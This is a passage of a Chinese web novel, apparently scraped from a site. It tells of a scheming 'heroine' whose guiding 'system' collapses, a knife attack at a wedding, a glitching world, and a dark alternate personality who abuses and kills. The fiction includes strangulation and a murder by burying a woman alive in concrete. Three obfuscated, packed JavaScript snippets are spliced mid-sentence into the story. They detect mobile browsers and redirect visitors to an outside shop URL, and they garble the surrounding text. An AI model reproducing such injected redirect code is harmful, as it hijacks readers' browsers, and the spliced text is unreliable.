他手里拿着一份文件,正翻阅着。 听到孟婉凝的哭喊,他没有立刻回应。 只是翻过一页纸,发出“沙沙”的轻响。 这沉默让孟婉凝感到前所未有的恐慌。 她抬起头,泪眼朦胧地看着那个平日里对她宠爱有加的男人。 声音颤抖:“小叔……你怎么不说话?” “你不是最疼婉凝了吗?” “你不会眼睁睁看着我跳进火坑的,对不对?” 孟廷凛终于合上了文件。 他缓缓抬起头。 那双狭长的凤眼里,没有了往日的温和与关切。 只剩下一片冰冷的漠然。 “婉凝。”他的声音很轻,“你真的……太让我失望了。” 孟婉凝愣住了:“小叔……你在说什么?” 孟廷凛没有解释,只是扬起手。 将那份文件狠狠地甩在了她的脸上。 “哗啦——” 纸张飞散,纷纷扬扬地落在孟婉凝的周围。 孟婉凝下意识地捡起一张,只看了一眼,浑身的血液就仿佛瞬间凝固了。 那是她挑拨许蔓陷害孟昭月的通话录音转文字! 许蔓他们在清吧对孟昭月的恶事的照片! 还有她暗示江浩宇下药的视频监控截图! 每一张,都是铁证。 “这……这是假的!这是伪造的!”孟婉凝疯狂地摇头,试图否认。 “小叔,你别信这些!” “是孟昭月!” “肯定是孟昭月那个**陷害我!” “够了!” 孟廷凛猛地一拍桌子。 “到现在你还不知悔改?!” “还要往昭月身上泼脏水?!” 他站起身,绕过书桌,走到孟婉凝面前,居高临下地看着她。 “我一直以为,你温婉善良。” “所以我包容你,宠着你。” “可是我没想到……你的心肠竟然如此歹毒!” “昭月是你妹妹!” “孟婉凝你知不知道,你现在拥有的一切是你妹妹的!” “你不感恩戴德就算了!” “还想出那种下三滥的手段去毁了她?!” 孟廷凛的声音越来越高。 每一个字都像是鞭子一样抽在孟婉凝的身上。 “我……”孟婉凝张口结舌,想要辩解,却发现自己根本无从辩驳。 【滋……滋滋……警告……滋……】 【警报!警报!】 那个曾经冷静、理智、总是高高在上地指导她如何成为“大女主”的声音。 此刻却像是一台行将报废的收音机。 发出了刺耳且断续的电流噪音。 【孟婉凝!你这个……滋……蠢货!】 系统的声音突然拔高。 变得尖利而歇斯底里。 带着一种濒临死亡的恐慌和暴怒。 【男主好感度……归零!】 【归零了你听见没有?!】 【我的能量……正在……急速……枯竭……滋滋滋……】 孟婉凝的眼前甚至开始出现大片大片闪烁的红色乱码,覆盖了现实的景象。 【挽回他!快去挽回他!】 【你是女主!你不能被男主抛弃!】 【如果你失去了男主的爱……你就完了!我也要完了!】 【快去!哪怕是跪下来舔他的鞋底!】 【哪怕是把尊严踩在脚底下!】 【也要让他回心转意!】 孟婉凝不理解,明明她才是这个世界的女主角。 为什么她的存在是被男主角所决定?! 但是她听惯了系统的指示,也顾不得多想。 “小叔……” 她手脚并用地向前爬了几步,抱住孟廷凛的腿,哭得涕泗横流。 “小叔……我是婉凝啊……我是你最疼爱的婉凝啊……” “我真的知道错了……我以后再也不敢了……” “我只是一时鬼迷心窍……” “你原谅我这一次好不好?” “我不想嫁给江浩宇……求求你……” 孟廷凛后退一步。 他看着孟婉凝不再得体端庄的脸。 脑海里浮现出的却是另一张脸。 那张总是带着甜甜笑容、乖巧地叫他“小叔”的脸。 孟昭月。 那个被他误解、被他冷落、被他一次次推开的女孩。 他想起了那天他对孟昭月毫无根据的质问 想起了餐厅前那些伤人的话。 他闭了闭眼,深吸一口气,压下心头翻涌的悔恨。 再睁开眼时,那双狭长的凤眼里只剩下一片冰冷的死寂。 “孟婉凝。” 他的声音很轻。 却清晰地穿透了孟婉凝的哭喊声。 在空旷的书房里回荡。 “你让我感到恶心。” 这几个字,像是一记重锤。 狠狠地砸在了孟婉凝的天灵盖上。 她张大了嘴巴,哭声戛然而止,仿佛被人扼住了脖子。 恶心…… 他说她……恶心? 那个曾经把她捧在手心里、对她百依百顺、说她是孟家最骄傲的小公主的男人。 现在竟然说她恶心? 【啊啊啊啊——!!!】 “既然你怀了江浩宇的孩子,那就嫁给他吧。” 【好感度……负数!变成负数了!】 “这对你也是一个好的归宿。” 【完了……全完了……】 “从今往后,你的事,我不会再管。” 【你这个废物!彻头彻尾的废物!】 “你也别再叫我小叔了!” 【连个男人都搞不定!我要你有什么用?!】 “滚出去!” 系统的尖叫的声音混杂着孟廷凛冰冷的话,在孟婉凝的脑海里交织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901474|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她只感觉自己的世界在一点一点的崩塌。 “不……不要……”孟婉凝瘫坐在地上。 “我是女主角啊……”她喃喃自语,声音破碎。 “我怎么会变成这样……” 不是说,只要有小叔在,她就永远是那个高高在上的孟家大小姐。 她输了。 输得彻彻底底。 输给了那个她一直瞧不起的女配孟昭月。 “啊——!!!” 孟婉凝发出一声凄厉的尖叫,双手抱头。 而孟廷凛,只是冷冷地看着这一切,叫来了保安。 窗外,大雪纷飞。 …… 孟婉凝和江浩宇的婚礼很快就举办了。 孟昭月挽着时卿舟的手臂,乖巧地站在人群中。 她环顾四周,并没有看到孟崇山和江慧的身影。 “他们没来。”孟昭月小声对时卿舟说道。 时卿舟低头,目光落在她白皙的脸庞。 他伸出手,指腹轻轻摩挲着,声音温和: “孟崇山夫妇两自顾不暇。” “而且……他们大概是觉得奉子成婚丢人。” 孟婉凝穿着婚纱,站在台上。 那件婚纱虽然华丽,却显得有些空荡,并不合身。 她的脸色苍白如纸,厚重的粉底也遮不住眼下的青黑。 她的眼神空洞,机械地应对着宾客的祝福,就像一个被抽去了灵魂的木偶。 江浩宇站在她身边,一脸的不耐烦。 他扯了扯领带,眼神凶狠地瞪了孟婉凝一眼。 压低声音吼道: “你爸妈呢?怎么还没来?” “老子娶你就是为了孟家的资源。” “他们不来这婚还结个屁!” 孟婉凝瑟缩了一下,嘴唇颤抖着,却说不出一句话。 “废物!”江浩宇骂了一句,端起酒杯猛灌了一口酒。 最近他在江家的日子不好过。 那个什么鬼的江浩奚有时家的帮忙,春风得意得很。 他的位置越来越不稳固,他急需孟家的支持。 可现在看来,这个所谓的孟家大小姐,似乎并没有他想象中那么受宠。 不是说这女人是孟廷凛的心头肉吗?! 时卿舟看着这一幕,唇角勾起一抹极淡的弧度。 他转过头,看向不远处正端着酒杯走来的男人。 那人戴着一副金丝边眼镜,气质儒雅斯文。 正是江浩奚。 “先生,夫人。”江浩奚举杯示意。 “江医生……哦不,现在应该叫江董了。”时卿舟淡淡地回应。 江浩奚笑了笑,并没有否认。 他走到时卿舟身边,用只有两人能听到的声音说道:“都准备好了。” “那个老东西已经签了字,今天就会宣布。” 时卿舟微微颔首:“恭喜。” “同喜。”江浩奚沉默了一瞬,然后突然问。 “对了,白岺最近怎么样?” 时卿舟抿了一口酒,语气随意。 “她?过得滋润得很。” “拿着时费给的那些钱,养了几个小白脸,乐不思蜀。” 江浩奚闻言愣了愣。 随即,他低声笑了笑。 “是吗?那挺好的。” 孟昭月乖巧地靠在时卿舟怀里,听着两人对话,没有插话。 就在这时,台上的仪式进行到了交换戒指的环节。 江浩宇粗鲁地抓起孟婉凝的手,将戒指硬生生地套在她的手指上。 孟婉凝吃痛,轻呼了一声。 “叫什么叫!”江浩宇恶狠狠地瞪了她一眼。 孟婉凝的眼泪终于忍不住流了下来。 她看向台下,视线模糊中,她看到了孟昭月。 那个被时卿舟小心翼翼护在怀里的女孩,脸上带着幸福的笑容。 而她自己,却像个小丑一样。 被迫嫁给一个**犯,受尽**。 凭什么? 凭什么孟昭月可以得到一切,而她却要失去所有? “系统……救救我……”她在脑海里绝望地呼喊。 【滋……滋……能量……不足……】 系统的声音微弱得几乎听不见。 断断续续,充满了电流的杂音。 这电流声,如同压倒骆驼的最后一根稻草。 那一瞬间,所有的理智都被嫉妒和怨恨吞噬。 她猛地推开江浩宇,抓起桌上的餐刀,发疯一般冲下了台! “孟昭月!你**吧!” 她尖叫着,手中的餐刀在灯光下闪烁着寒光,直直地刺向孟昭月! 第123章 世界在闪烁 变故发生得太快,周围的人都惊呆了,根本来不及反应。 时卿舟的瞳孔骤缩,他猛地转身,将孟昭月护在身后。 “嗤!” 虽然时卿舟挡了一下。 但孟婉凝的动作太过疯狂。 还是在孟昭月的手臂上留下了一道不深不浅的血痕。 “抓住她!”江家的人这才反应过来,几个保镖冲上去,将孟婉凝死死按住。 现场一片混乱,宾客们惊叫着四散躲避。 时卿舟顾不上其他,立刻抱起孟昭月,查看她的伤口。 看到那刺眼的鲜红,他的心跳都漏了一拍。 “姜玦!备车!去医院!” 他连忙抱着孟昭月离开了。 就在这时,一群保镖涌入了宴会厅,迅速控制了各个出口。 江浩奚从人群中走了出来。 “各位,受惊了。”他推了推眼镜,声音斯条慢理。 江浩宇看到江浩奚,心里虽然有些发虚。 但仗着自己娶了孟家大小姐,还是硬着头皮吼道: “江浩奚!” “这是我的婚礼!” “你带这么多人来想**吗?” 江浩奚冷冷地看了他一眼。 “老爷子已经把股权转让给我了。” “从今天起,江家由我说了算。”江浩奚淡淡地说道。 全场哗然。 江浩宇瞪大了眼睛,不可置信地看着屏幕:“不可能……不可能……” “不对,我还有孟家的支持!” 江浩宇嗤笑:“你娶的这位‘孟家大小姐’,根本就是个冒牌货。” “什么?!”江浩宇手忙脚乱地捡起文件,只看了一眼,脸色瞬间惨白如纸。 “孟婉凝为了保住自己的地位,不惜设计陷害真千金孟昭月。” “孟廷凛早就和她**了,你看看今天这婚礼,有一个孟家的人来吗?” 全场哗然。 宾客们看着孟婉凝的眼神充满了鄙夷和厌恶。 “原来是个假货啊!难怪这么恶毒!” “江浩宇这回可是赔了夫人又折兵,笑**了!” 江浩宇听着周围的议论声,只觉得天旋地转。 他猛地冲过去,对着孟婉凝拳打脚踢:“**!你敢骗我!你这个**!” 孟婉凝蜷缩在地上,任由拳头落在身上。 她听到了那个名字——孟廷凛。 “小叔……小叔……”她喃喃自语,眼泪混合着血水流下来。 她想起了那个总是宠着她、护着她的男人。 她真的错了。 【滋啦……警告……女主……彻底失格……】 【女主光环破碎……滋啦……】 【滋啦……世界锚点丧失……】 【系统……崩溃……】 【世界……即将崩溃……】 【祂将会亲自降临……】 ......... 黑色的迈巴赫在公路上疾驰。 时卿舟紧紧抱着孟昭月,脸色阴沉得可怕。 “疼吗?” 她的伤口已经被紧急处理过了,扎上了绷带。 孟昭月戳了戳绷带,却被时卿舟一把握住了手。 她笑了笑:“不疼的,阿卿。” “只是划破了一点皮,没事的。” “对不起,宝宝,是我不好。”他自责地低喃。 “我没有保护好你。” 孟昭月伸手抚摸他的脸颊。 她的指尖描摹着他紧皱的眉头,试图将那里的褶皱抚平。 “阿卿最好了。”她软软地说。 “如果没有阿卿,我可能就真的被刺中了。” “阿卿救了我呀。” 她晃了晃包扎好的手臂。 “你看,包扎得好漂亮,像个蝴蝶结。” 时卿舟看着她甜甜软软的笑脸,心里的戾气终于消散了一些。 他无奈地叹了口气,伸手揉了揉她的脑袋。 “嗯,月月最乖了。” 就在这时,车身突然剧烈地晃动了一下。 紧接着是一个急刹车。 “吱——!” 轮胎摩擦地面的刺耳声音划破了夜空。 惯性让孟昭月的身体猛地向前冲去。 时卿舟反应极快,一只手迅速撑住车厢壁稳住身形。 另一只手迅速将孟昭月揽进怀里,将她整个人牢牢按回自己怀里。 用身体为她挡住了所有的冲击。 “怎么回事?”时卿舟冷声问道。 驾驶座上的姜玦声音有些颤抖。 少有的带上了恐惧的意味。 “先……先生,你看天空。” 时卿舟皱眉,透过车窗向外看去。 天空此刻竟然呈现出一种诡异的紫红色。 整个天空在不停地闪烁。 就像是老旧电视机信号不良时的画面。 然后整个世界都在震动。 “这时……”孟昭月也看到这一切画面。 她的眸子睁大,很是惊讶。 天空中的闪烁频率越来越快。 甚至开始出现大片大片的马赛克和乱码。 周围的景物也开始出现重影和扭曲。 仿佛整个世界都在崩塌。 时卿舟将她抱得紧紧的,力道大得像是要将她嵌入自己的骨血。 “别怕,月月,别怕。” 他抬起头,死死盯着那片崩坏的天空。 眼神阴沉得可怕。 显然对于这幅诡异的场景一下没找到对策。 毕竟现在的情况已经超乎常人能理解的了。 就在这时,一道冰冷的机械音毫无预兆地在时卿舟的脑海中响起。 【叮——】 【锁定宿主成功。】 【反派逆袭系统,正在绑定……】 【1%……5%……】 时卿舟的身体猛地僵住。 系统?反派系统? 时卿舟几乎是同一时间极快地就反应过来。 然后脑子里迅速有了对策。 他猛地捧起孟昭月的脸,强迫她看着自己。 “月月,听我说。”他的语速极快,声音沙哑。 “如果有一天,你找不到我了,不要怕。” 他的目光沉得可怕,却带着某种跃跃欲试的疯狂。 孟昭月看着他,眼中满是茫然和本能地不安: “阿卿,你在说什么?” “你要去哪里?” “叫我的名字。”时卿舟死死地盯着她的眼睛。 “就像上次在公寓那样。” “只要你叫我的名字,我就会听到。” 【60%……80%……】 “相信我,月月。”他的手指用力地扣着她的后脑勺。 额头抵着她的额头。 “我一定会回来的。” “就算是在地狱,我也一定会爬回来找你!” 【100%。】 【反派逆袭系统绑定成功。】 孟昭月不解地看着他,泪水在眼眶里打转:“阿卿……” 然后她听到了熟悉的系统声: 【最终世界修正方案,启动。】 随着这最后一声机械音落下,一道刺眼的白光瞬间吞没了整个世界。 孟昭月只觉得眼前一白,意识陷入了无尽的黑暗。 ......... “阿卿!” 孟昭月猛地睁开了眼睛,从床上坐了起来。 她大口大口地喘着气,冷汗浸湿了睡衣。 心脏在胸腔里剧烈地跳动着,仿佛要冲破胸膛。 她环顾四周,熟悉的卧室,熟悉的摆设。 这里是时家庄园的卧室。 窗外的阳光透过窗帘洒进来,一切都显得那么平静安详。 刚才那是……梦? 不,那种感觉太真实了。 那诡异的天空,时卿舟急切的话语,还有最后那道白光…… 她立刻抓起放在床头柜上的手机,手指颤抖地解锁屏幕。 日期:2025年12月17日。 时间显示是早上九点。 新闻APP上,关于孟婉凝大闹婚礼、江浩奚掌权的新闻依然挂在头条。 甚至她手臂上的伤口都没有变化。 时空没有变化,还是之前的时空。 孟昭月松了一口气,但心里的不安却并没有消散。 她想起最后听到了“世界修正方案”几个字。 既然世界没有重启。 那修正了什么呢……阿卿? 阿卿呢? 意识到不对劲,她猛地掀开被子。 鞋都没穿就连忙跑了出去。 “阿卿!”没有人回应。 孟昭月现在更不安了。 她在楼梯口撞见了抱着文件的姜玦。 “姜特助!”孟昭月一把抓住他的袖子,急切地问道。 “阿卿呢?他在哪里?” 姜玦被她吓了一跳,连忙扶住她:“夫人,您慢点。” “先生……先生他在书房。” 姜玦注意到孟昭月没穿鞋,连忙对旁边的女仆试了个眼色。 “书房?”孟昭月愣了一下。 “我们什么时候回来的?” “昨天晚上婚礼结束后,我们就回来了。”姜玦解释道。 “您在车上睡着了,是先生把您抱回房间的。” 孟昭月皱眉:“昨天……昨天回来的路上。” “天空是不是变颜色了?” “还有那些闪烁的乱码……” 姜玦一脸茫然地看着她:“夫人您在说什么?” “天空变色?没有啊,昨天天气挺好的。” 这时女仆恭谨地把一双毛绒拖鞋放到了孟昭月的前面。 “夫人,您先把鞋穿上,不然先生看到又得生气了。” 孟昭月的心沉了下去。 姜玦不记得了。 难道真的只是个梦? 她咬了咬唇,穿上了鞋,正准备继续问什么时。 楼梯上传来了沉稳的脚步声。 孟昭月猛地抬头。 一个高大的身影出现在楼梯口。 他穿着一件黑色的衬衫,头发似乎比往常要凌乱一些。 但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905721|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧不减他的俊美。 就是眼神中带着发自灵魂的阴郁感。 他手里端着一杯冒着热气的马克杯。 是时卿舟。 看到那张熟悉的脸,孟昭月的眼眶瞬间红了。 “阿卿!” 心顿时落了回去。 太好了。 他还在。 男人没有说话,只是站在楼梯上安静地看着她。 准确地说是死死地盯着她。 向一条盯着猎物的恶犬。 孟昭月却总觉得有哪里不对劲。 姜玦对着时卿舟鞠了个躬。 “先生。” “顾议长已经把废除文化审查权的议案向议会提案了。” “相关工作正在推进。” “您要过目一下吗?” 男人淡淡地瞥了姜玦一眼,没有说话。 姜玦:“……” “咳,我突然想起还有份资料没准备好。” “我先走了,夫人您先和先生聊。” 说完,他便匆匆退下了,把空间留给了这两个人。 客厅里只剩下孟昭月和时卿舟。 男人终于动了。 他迈开长腿,一步一步地走下楼梯,走到她面前。 随着他的靠近,一股阴冷压抑的气息扑面而来。 孟昭月本能地后退了一步。 时卿舟的脚步顿了顿,然后隔着孟昭月一段距离。 将手里那杯热可可递到她面前。 “喝。” 只有简简单单的一个字。 孟昭月没有动,只是乖巧地盯着对方。 过了半晌。 孟昭月才软软地开口: “小狗,阿卿呢?” 听到“小狗”这两个字,面前的男人眼睫猛地颤动了一下。 就像是被触碰到了某种禁忌的开关。 他没有回答,只是死死地盯着孟昭月。 那目光黏腻、阴冷。 带着一种想要将她拆吃入腹的贪婪。 以及觊觎依旧的渴望。 突然。 “啪!” 他手中的马克杯掉落在地,摔得粉碎。 褐色的液体溅得到处都是。 他却毫不在意。 他猛地伸出手,一把捧住了孟昭月的脸。 他的力气很大,手指紧紧地扣着她的下颌骨,捏得她生疼。 “唔……”孟昭月痛呼一声。 他没有松手,反而更加用力。 他俯下身,额头重重地抵着她的额头。 两人的鼻尖相触,呼吸交缠。 可是他的呼吸是冷的。 “孟昭月不需要时卿舟。” 他的声音从喉咙深处挤出来,低沉、嘶哑。 “孟昭月只需要我。” “只需要……小狗。” 他像是一个偷到了糖果的孩子。 拼命想要证明这颗糖果只属于自己。 孟昭月被迫仰着头。 承受着他这突如其来的、笨拙又充满侵略性的靠近。 她看着近在咫尺的那双眼睛,里面翻涌着混乱的黑雾。 像是没有理智,只有本能。 她没有挣扎,只是静静地看着他,然后轻声说道: “但是,我不需要脏脏的小狗。” 时卿舟的身体猛地僵住了。 眼底的疯狂瞬间凝固,然后破碎成一片狼藉。 像只被遗弃的流浪狗。 “脏……” 他喃喃自语,声音颤抖。 “脏……” 随即,他的神色彻底阴郁了下来。 那是一种被抛弃、被嫌弃后的自暴自弃和毁灭欲。 “那小狗就把孟昭月弄脏。” “弄得和我一样脏。” “这样……你就不会嫌弃我了。” “我们会一起烂在泥里。” 他说着,手掌顺着她的脸颊滑落,掐住了她的脖子。 孟昭月没有挣扎,也没有尖叫。 她只是静静地看着他。 那双干净的杏眼里,没有恐惧,没有厌恶。 安安静静,乖乖巧巧。 时卿舟似乎能从她漂亮的眼睛里看到自己。 他的手,渐渐松开了。 恐慌再次袭来。 他猛地抱住了孟昭月,将头埋在她的颈窝里,身体剧烈地颤抖起来。 “对不起……对不起……” 他的声音哽咽,带着无尽的惶恐。 “我不是故意吓你的……” “我不是好的小狗……我是坏小狗……” “别不要我……” “别丢下我……” 他像个做错事的孩子,语无伦次地道歉,乞求原谅。 卑微到了尘埃里。 孟昭月看着他这副样子,心里五味杂陈。 虽然他不是阿卿,但他也是时卿舟的一部分。 是被那个畸形的家庭、被时莉莉那个疯子折磨出来的产物。 过了一会儿,时卿舟似乎想到了什么,猛地抬起头。 “孟昭月说小狗脏了……是因为时莉莉吗?” ...................... 第124章 时莉莉out:恶女训狗 地下室。 时卿舟拽着孟昭月往前走。 孟昭月踉跄跟着。 终于。 他们看到了时莉莉。 似乎是因为她彻底失去了利用价值。 被随意关在笼子里。 她身上倒是没什么伤口,就是整个人看起来浑浑噩噩的。 孟昭月愣了愣,她以为时莉莉早**。 没想到被时卿舟关在这种地方。 当时莉莉的视线触及孟昭月脖子上的那抹猩红时。 她原本死寂的眼珠猛地转动了一下。 那是血钻。 那是她向时卿舟索要过无数次,却始终没能得到的血钻。 “啊……” 时莉莉喉咙里发出嘶哑的低鸣。 她猛地扑向铁栏杆,手指死死抓着铁条。 “我的……那是我的……” “小狗!小狗!” “你答应的……你答应的……” 时卿舟没有说话只是,盯着孟昭月。 孟昭月看了看时莉莉,然后又看了看时卿舟。 沉默着往后站了站。 然后时卿舟那双漂亮的桃花眼顿时泛起明显的阴翳。 只是几面,瞬间又褪化成委屈的可怜兮兮。 孟昭月:“……” 时卿舟伸手抓住了孟昭月的衣袖。 然后看向时莉莉。 “它是我的主人的。” “它很喜欢我的主人。” 时莉莉的动作顿时僵住了,然后瞪大了眼睛,死死盯着时卿舟。 主人? 她的狗……别的女人……主人?! “呜啊啊啊——!!!” “不准叫她!不准叫她!” “她根本不爱你,她一定会抛弃你的!小狗!” “你背叛了我!你会遭报应的!” “你永远都是一条没人要的野狗!永远都是!” “只有我……只有我会要你……” 这些话的杀伤力大吗? 孟昭月前世在孤儿院听过很多。 但是她现在可以肯定的是,对这个时卿舟杀伤力很大。 他抓着她的衣袖的手,变得很紧很紧。 孟昭月眨了眨眼,带起甜美的笑容。 然后说:“小狗。” 时卿舟的眸子顿时亮了,看向孟昭月。 孟昭月伸手,踮起脚尖摸了摸他的头。 时卿舟感受着发丝上传来的柔软,瞳孔猛地扩散开。 “哈……” 他的喘息顿时重了起来,脸上荡漾出痴迷的神色。 “主人……主人……主人……” 他甚至跟着孟昭月的手蹭了蹭她。 孟昭月:“……” 她默默收回了手。 怎么感觉自己刚刚的同情有点多余了。 时莉莉看着眼前这荒诞而刺眼的一幕。 感觉自己的世界观正在一寸一寸地崩塌。 她引以为傲的训狗术,她赖以为生的控制权,她自以为是的、独一无二的主人地位…… 全都在这一刻,被那个她最瞧不起的女人,轻而易举地夺走了。 不。 这不是真的。 这一定是幻觉。 她的狗,怎么可能会背叛她? 不是说忠犬和恶女最相配吗? 不是说狗,就要训的吗? 她哪里做错了?! 她看不起孟婉凝那种故作清高的人。 因为她觉得她才是这个世界最正确的选择。 抢男人,训恶犬,恶女该配她的狗! 为什么…… “小狗……”她艰难地从喉咙里挤出几个破碎的音节。 试图唤回那只属于她的小狗。 她可以接受那个异常数据对着孟昭月摇尾巴。 但是绝对不能接受她的小狗转向孟昭月。 因为他是她的! 然而,那个男人甚至没有回头看她一眼。 “小狗。”孟昭月突然开口。 时卿舟乖巧地看向她。 “你以前……”她顿了顿,目光扫过时莉莉,又落回他脸上。 “过得幸福吗?” 时卿舟愣住了。 幸福? 那是个什么东西? 在小狗的世界里没有那种东西。 只有他的主人。 他努力回想。 是阴暗潮湿的禁闭室,带着倒刺的皮鞭,馊掉的饭菜…… 还有时莉莉喜怒无常的脸。 高兴的时候,会给他一颗糖,摸摸他的头,叫他“乖狗狗”。 不高兴的时候,就会把他关进狗笼里,让他和真的恶犬抢食。 看着他遍体鳞伤,然后在旁边拍手大笑。 “只要你听话,我就对你好。” “你要记住,你的命是我给的。” “没有我,你早就**。” 时莉莉说这是“爱”。 时莉莉说这是“救赎”。 时莉莉说这是“天堂”。 他一开始什么都不知道,以为她说的是真的。 于是每一分每一秒,都在祈求死亡的降临。 他想下地狱,他不想待在天堂。 他看着孟昭月,摇了摇头。 “不幸福。” 他的声音很轻,却很坚定。 “一点都不。” 直到…… 直到遇见了她。 那个画像。 那个雪的夜晚。 那一刻,天堂裂开了一道缝隙,地狱的光照了进来。 “只有和主人在一起的时候。” 他将脸贴在她的掌心,轻轻蹭着,像是在汲取温暖。 “小狗才觉得……是幸福的。” 所以主人,可以带着他下地狱吗? 然后他们永远在一起。 孟昭月看着他这幅模样。 沉默了。 然后她的语气很轻:“对不起,我还是想要我的阿卿。” 时卿舟的动作顿住了。 “为什么……” 他似乎要碎了。 孟昭月正准备说什么,突然眼前一花,脑袋晕了晕。 却好在很快就恢复了。 时卿舟注意到她的以防,连忙扶住了她。 “你不舒服。” 他用肯定的语气道。 他看了看四周:“这里不好……主人上去……” 孟昭月也感觉刚刚好像有点不太对劲,点了点头。 时卿舟送着孟昭月离开了。 时莉莉死死地扒着栅栏。 他的眼里,心里,满满的,全都是那**。 她一直以为自己是掌控者,是高高在上的主人。 可是,好像…… 他的忠诚,他的顺从,他的爱…… 从来都不属于她。 她是不是……从未真正拥有过小狗? 时莉莉彻底瘫坐在地上。 …… 另一边。 时卿舟送着孟昭月往上走。 脑海里满是孟昭月刚刚说的那句 “对不起,我还是想要我的阿卿。” 不,不可以要时卿舟。 孟昭月只可以要小狗。 可是…… 她还是只想要时卿舟。 是不是…… 他的心底一个声音说: 只要小狗足够像时卿舟。 她就不会不要他了。 把孟昭月送到床上后,时卿舟让管家叫来了医疗团队。 然后把孟昭月哄睡后,离开了卧室。 重新前往了地下室。 “他能做到的……我也能做到……” 他低声呢喃着,像是在对自己说,又像是在对另一个不存在的人说。 “只要……只要我足够像他……” “孟昭月……就不会抛弃我了,对不对?” …… 「不是哦。」 「是我把她浇筑在水泥里才死的。」 「我让人挖了一个很深的坑,就在她最喜欢的那片玫瑰花园下面。」 「把她绑起来,丢了进去。」 「然后,一车一车的水泥,就那么倒了下去。」 「最开始的时候,还能从水泥里听到一些声音,闷闷的,听不太清。」 「大概是在哭,也可能是在骂我。」 「后来,那个声音就慢慢地、慢慢地……没有了。」 「世界一下子就安静了。」 时卿舟垂眸,安静地看着玫瑰花园里新增的一块水泥地。 快看。 他是不是和他一样? 所以她也会喜欢他的对吧? 毕竟他是世界上最乖的小狗。 他不脏了…… …… 第二天孟昭月醒来。 就看到时卿舟抱着她蹭啊蹭啊蹭。 孟昭月:“……” 她把时卿舟稍微推开了一些:“痒。” 时卿舟立刻停了下来,乖乖看着孟昭月:“对不起。” 孟昭月咬了咬唇。 又卖萌,这家伙。 她撇了撇嘴:“我的检查结果出来了吗?” 时卿舟摇头:“没有,医生说要做综合性检查,需要过几天。” “但是没有大碍。” “好像妇科也做了。” 孟昭月点了点头:“哦。” 就看到时卿舟凑了过来,带着几分邀功的雀跃。 “我把时莉莉杀了哦。” 他一边说,一边观察着孟昭月的表情,似乎在期待着她的夸奖。 ““我让人把她绑起来。” “然后再花园里挖了一个坑。” “用水泥……” 他想说问主人他是不是很乖? 想要听主人夸他是乖狗狗。 可是,他的主人,神情没有变。 只是这样乖巧地看着他。 那双杏眼里倒映着他的模样。 不对。 不是这样的。 她没有笑。 她没有像对“他”那样,露出那种纵容又心疼的表情。 她没有高兴。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918241|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>对,她没有因此高兴。 一股源自本能的恐慌攫住了他的心脏。 他搞砸了。 “我……” 时卿舟的声音颤抖起来,他猛地伸出手,一把将孟昭月死死抱进怀里。 将脸深深地埋在她的颈窝。 “我骗你的!” 他急切地解释着,声音里带着浓重的哭腔。 “我没有那样做……我没有……” “时莉莉她……她是身体不好……长期实验……扛不住了……” “所以……所以才死掉的……” “我没有**……” “别不要我……月月……别不要我……” 他语无伦次地辩解着。 孟昭月任由他抱着,没有说话。 她垂下眼帘,遮住了眼底的情绪。 她当然知道他在撒谎。 她也没有什么立场去指责他的行为。 她只是…… 想她的阿卿了。 她的阿卿到底去哪里了? 到底发生了什么? …… 接下来的日子里,时卿舟变得更加粘人了。 他几乎寸步不离地守在孟昭月身边。 像一条忠诚的大型犬,时刻关注着主人的一举一动。 早上,他会早早醒来,做好早餐,然后坐在床边,静静地看着她睡觉,直到她醒来。 白天,他在书房处理文件,也会把孟昭月带在身边,让她坐在旁边的沙发上,只要一抬头就能看到。 晚上,他会给她放洗澡水,帮她吹头发。 然后被她撵回书房睡觉。 他极力模仿着“时卿舟”的一切。 温柔,体贴,无微不至。 甚至连说话的语气,都在刻意模仿那个人的调调。 “月月,喝水。” 他端着水杯,递到她嘴边,眼神温柔得能滴出水来。 孟昭月接过水杯,喝了一口,然后礼貌地说了声:“谢谢。” 时卿舟的眼神黯淡了一瞬。 太客气了。 她对他,总是这么客气。 没有撒娇,没有任性,没有那些亲昵的小动作。 就像……对待一个熟悉的陌生人。 他想要更多。 他想要她像对“他”那样,对他发脾气,对他使小性子,甚至……咬他一口。 可是他不敢。 他怕自己一逾矩,就会被她厌恶,被她抛弃。 …… 期间孟昭月试图联系过江浩奚、姜玦等人。 试探时卿舟的另一个人格的事情。 而所有人的都告诉她,时卿舟从来没有过什么双重人格。 她甚至联系了顾青珩。 顾青珩也很疑惑。 孟昭月向他试探了前世的事情。 顾青珩显然也不知道。 好像一切回到了第一世那一样。 全世界只有她一个人觉醒了。 一切的异常都被修复了。 包括她的……阿卿。 开什么玩笑?! 她不可能接受这一个结局的。 只是她现在还没有头绪怎么办。 